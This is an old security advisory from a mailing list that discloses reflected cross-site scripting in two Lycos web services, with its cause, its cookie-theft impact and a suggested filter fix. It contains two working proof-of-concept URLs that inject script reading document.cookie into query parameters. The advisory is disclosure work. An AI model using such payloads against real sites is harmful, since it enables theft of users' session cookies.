[CSS] Cross Site Scripting in the translation and infoplease services of lycos.com possible

From: tsr@it-checkpoint.net
Date: Thu Mar 14 2002 - 06:15:29 PST

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    - -------------------------------------------------------------
    itcp advisory 4 advisories@it-checkpoint.net
    http://www.it-checkpoint.net/advisory/4.html
    March  14th, 2002
    - -------------------------------------------------------------
    
    
    
    translation.lycos.com and infoplease.lycos.com allow Cross Site
    Scripting
    - --------------------------
    
    Affected program: -
    Vendor: Lycos.com
    Vulnerability-Class: Cross Site Scripting (CSS)
    OS specific: No
    Problem-Type: remote
    
    
    
    
    SUMMARY
    
    Cross Site Scripting in the translation and infoplease services of
    lycos.com possible
    
    
    
    
    DETAILS
    
    The translation and infoplease services of lycos.com are not checking
    for any hostile input so it is able to steal cookies.
    
    Bug analysis: Missing filters for Characters like "<" or ">"
    
    
    
    Impact: Stealing of cookies possible
    
    
    
    Exploit:
    
    The only thing you have to do is entering some HTML-Code in the
    textbox or
    just click on the following links:
    
    
    translation.lycos.com:
    http://translation.lycos.com/?urltext=>alert(document.cookie)</
    script
    >&lp=en_de&partner=demo-Lycos2-en
    
    - --------------
    
    infoplease.lycos.com:
    http://www.infoplease.lycos.com/search.php3?in=dictionary&query=
    e><scr
    ipt>alert(document.cookie)</script>
    
    
    Solution: Implement a filter which filters dangerous characters,
    especially "<" and ">"
    
    
    
    ADDITIONAL INFORMATION
    Vendor has been contacted.
    
    
    
    
    - - -------------------------------------------------------
    tSR <tsr@it-checkpoint.net>
    Member of:
    http://www.IT-Checkpoint.net
    
    We work for your security
    
    
    - - -----------------------
    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty
    of any kind.
    In no event shall we be liable for any damages whatsoever including
    direct, indirect, incidental, consequential, loss of business profits
    or
    special damages.
    
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